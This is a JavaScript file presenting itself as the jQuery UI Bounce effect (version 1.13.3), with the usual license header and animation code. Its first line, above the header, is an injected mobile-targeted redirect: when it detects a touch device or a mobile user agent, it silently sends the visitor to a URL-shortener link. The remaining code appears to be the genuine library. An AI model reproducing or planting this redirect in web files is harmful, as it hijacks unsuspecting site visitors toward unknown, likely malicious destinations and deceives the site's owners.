1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Effects Bounce 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Bounce Effect
12//>>group: Effects
13//>>description: Bounces an element horizontally or vertically n times.
14//>>docs: https://api.jqueryui.com/bounce-effect/
15//>>demos: https://jqueryui.com/effect/
16
17( function( factory ) {
18 "use strict";
19
20 if ( typeof define === "function" && define.amd ) {
21
22 // AMD. Register as an anonymous module.
23 define( [
24 "jquery",
25 "../version",
26 "../effect"
27 ], factory );
28 } else {
29
30 // Browser globals
31 factory( jQuery );
32 }
33} )( function( $ ) {
34"use strict";
35
36return $.effects.define( "bounce", function( options, done ) {
37 var upAnim, downAnim, refValue,
38 element = $( this ),
39
40 // Defaults:
41 mode = options.mode,
42 hide = mode === "hide",
43 show = mode === "show",
44 direction = options.direction || "up",
45 distance = options.distance,
46 times = options.times || 5,
47
48 // Number of internal animations
49 anims = times * 2 + ( show || hide ? 1 : 0 ),
50 speed = options.duration / anims,
51 easing = options.easing,
52
53 // Utility:
54 ref = ( direction === "up" || direction === "down" ) ? "top" : "left",
55 motion = ( direction === "up" || direction === "left" ),
56 i = 0,
57
58 queuelen = element.queue().length;
59
60 $.effects.createPlaceholder( element );
61
62 refValue = element.css( ref );
63
64 // Default distance for the BIGGEST bounce is the outer Distance / 3
65 if ( !distance ) {
66 distance = element[ ref === "top" ? "outerHeight" : "outerWidth" ]() / 3;
67 }
68
69 if ( show ) {
70 downAnim = { opacity: 1 };
71 downAnim[ ref ] = refValue;
72
73 // If we are showing, force opacity 0 and set the initial position
74 // then do the "first" animation
75 element
76 .css( "opacity", 0 )
77 .css( ref, motion ? -distance * 2 : distance * 2 )
78 .animate( downAnim, speed, easing );
79 }
80
81 // Start at the smallest distance if we are hiding
82 if ( hide ) {
83 distance = distance / Math.pow( 2, times - 1 );
84 }
85
86 downAnim = {};
87 downAnim[ ref ] = refValue;
88
89 // Bounces up/down/left/right then back to 0 -- times * 2 animations happen here
90 for ( ; i < times; i++ ) {
91 upAnim = {};
92 upAnim[ ref ] = ( motion ? "-=" : "+=" ) + distance;
93
94 element
95 .animate( upAnim, speed, easing )
96 .animate( downAnim, speed, easing );
97
98 distance = hide ? distance * 2 : distance / 2;
99 }
100
101 // Last Bounce when Hiding
102 if ( hide ) {
103 upAnim = { opacity: 0 };
104 upAnim[ ref ] = ( motion ? "-=" : "+=" ) + distance;
105
106 element.animate( upAnim, speed, easing );
107 }
108
109 element.queue( done );
110
111 $.effects.unshift( element, queuelen, anims + 1 );
112} );
113
114} );
115